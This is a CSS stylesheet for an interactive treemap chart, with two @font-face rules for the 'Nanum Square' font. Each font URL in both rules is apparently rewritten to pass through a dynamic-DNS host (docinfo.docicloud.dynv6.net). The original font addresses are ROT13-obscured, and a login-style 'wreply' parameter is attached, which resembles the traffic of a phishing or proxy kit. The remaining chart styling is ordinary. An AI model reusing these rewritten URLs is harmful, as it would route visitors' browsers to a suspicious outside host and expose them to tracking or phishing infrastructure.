@charset "utf-8";

@font-face {
  font-family: 'Nanum Square';
  font-style: normal;
  font-weight: 400;
  src: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngvp.jruntb.pbz%2Spff%2Ssbag%2SAnahzFdhner%2SAnahzFdhnerE.rbg);
  src: local('Nanum Square Regular'),
       local('NanumSquareR'),
       url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngvp.jruntb.pbz%2Spff%2Ssbag%2SAnahzFdhner%2SAnahzFdhnerE.rbg%3S%23vrsvk##iefix) format('embedded-opentype'),
       url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngvp.jruntb.pbz%2Spff%2Ssbag%2SAnahzFdhner%2SAnahzFdhnerE.jbss2) format('woff2'),
       url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngvp.jruntb.pbz%2Spff%2Ssbag%2SAnahzFdhner%2SAnahzFdhnerE.jbss) format('woff'),
       url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngvp.jruntb.pbz%2Spff%2Ssbag%2SAnahzFdhner%2SAnahzFdhnerE.ggs) format('truetype');
}

@font-face {
  font-family: 'Nanum Square';
  font-style: normal;
  font-weight: 700;
  src: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngvp.jruntb.pbz%2Spff%2Ssbag%2SAnahzFdhner%2SAnahzFdhnerO.rbg);
  src: local('Nanum Square Bold'),
       local('NanumSquareB'),
       url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngvp.jruntb.pbz%2Spff%2Ssbag%2SAnahzFdhner%2SAnahzFdhnerO.rbg%3S%23vrsvk##iefix) format('embedded-opentype'),
       url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngvp.jruntb.pbz%2Spff%2Ssbag%2SAnahzFdhner%2SAnahzFdhnerO.jbss2) format('woff2'),
       url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngvp.jruntb.pbz%2Spff%2Ssbag%2SAnahzFdhner%2SAnahzFdhnerO.jbss) format('woff'),
       url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngvp.jruntb.pbz%2Spff%2Ssbag%2SAnahzFdhner%2SAnahzFdhnerO.ggs) format('truetype');
}

#chart {
    max-width: 100%;
    overflow:auto;
}
.grandparent text {
    font-weight: bold;
    font-size: 18px;
}
.ari_treemap rect {
    stroke: #fff;
    stroke-width: 1px;
}
.ari_treemap rect.parent,
.ari_treemap .grandparent rect {
    stroke-width: 3px;
}
.grandparent .text {
    padding:0 35px 0 6px;
    box-sizing:border-box;
    overflow:hidden;
    white-space:nowrap;
    word-break:break-all;
    text-overflow:ellipsis;
    cursor:pointer;
}
.grandparent:hover rect {
    opacity: 0.7;
}
.grandparent rect {
    opacity: 1;
}

.children rect.parent,
.grandparent rect {
    cursor: pointer;
}
.children rect.child {
    opacity: 0;
}

.children:hover rect.child {
    opacity: 1;
    stroke-width: 1px;
}
.children:hover rect.parent {
    opacity: .7;
}
.legend {
    margin-bottom:8px !important;
}
.legend rect {
    stroke-width: 0px;
}
.legend text {
    text-anchor: middle;
    pointer-events: auto;
    font-size: 13px;
    font-family: sans-serif;
    fill: black;
}
.form-group {
    text-align:left;
}
.textdiv {
    display:table-cell;
    font-family: "Open Sans",Helvetica,Arial,sans-serif;
    font-size: 14px;
    width:inherit;
    height:inherit;
    box-sizing:border-box;
    vertical-align:middle;
}
.textdiv .title {
    display:inline-block;
    font-weight: normal;
    margin-top: 8px;
    font-size:14px;
    color:#fff;
    overflow:hidden;
    white-space:nowrap;
    word-break:break-all;
    text-overflow:ellipsis;
    padding:0 20px;
    box-sizing:border-box;
    vertical-align:top;
    width:inherit;
}
.textdiv span.bar {
    display:block;
    width:26px;
    height:1px;
    margin-left:calc(50% - 13px);
    margin-top:3px;
    margin-bottom:5px;
    text-align:center;
    background:#fff;
}

.textdiv p{
    font-size: 16px;
    padding: 5px;
    text-align: center;
    padding:2px;
    margin:0;
    color:#fff;
}
div.protooltip {
    position: absolute;
    display:none;
    text-align: center;
    min-width: 60px;
    max-width: 240px;
    min-height: 26px;
    padding: 8px;
    font-size: 12px;
    background: rgb(161,214,227);
    border: 1px solid rgb(161,214,227);
    color: #333;
    border-radius: 4px;
    pointer-events: none;
    z-index: 10000;
}
div.protooltip.tmtip{
    position: absolute;
    display:block;
    text-align: left;
    padding: 20px;
    line-height: 18px;
    font-size: 14px;
    font-weight: normal;
    background: rgba(0, 0, 0, 0.8);
    border: 1px;
    border-radius: 8px;
    color: rgba(255, 255, 255, .95);
    pointer-events: none;

}
div.protooltip>p {
    margin-bottom:5px;
}
div.protooltip .tooltip_value {
    font-size:13px;
    color:rgba(255,255,255,.8);
}
.foreignobj {
    display:table;
    table-layout:fixed;
    text-align:center;
}
div.protooltip.pos_rb {
    transform: translate(0px, 0px);
    -ms-transform: translate(0px, 0px);
    -webkit-transform: translate(0px, 0px);
}
div.protooltip.pos_rt {
    transform: translate(0px, -120%);
    -ms-transform: translate(0px, -120%);
    -webkit-transform: translate(0px, -120%);
}
div.protooltip.pos_lb {
    transform: translate(-120%, 0px);
    -ms-transform: translate(-120%, 0px);
    -webkit-transform: translate(-120%, 0px);
}
div.protooltip.pos_lt {
    transform: translate(-120%, -120%);
    -ms-transform: translate(-120%, -120%);
    -webkit-transform: translate(-120%, -120%);
}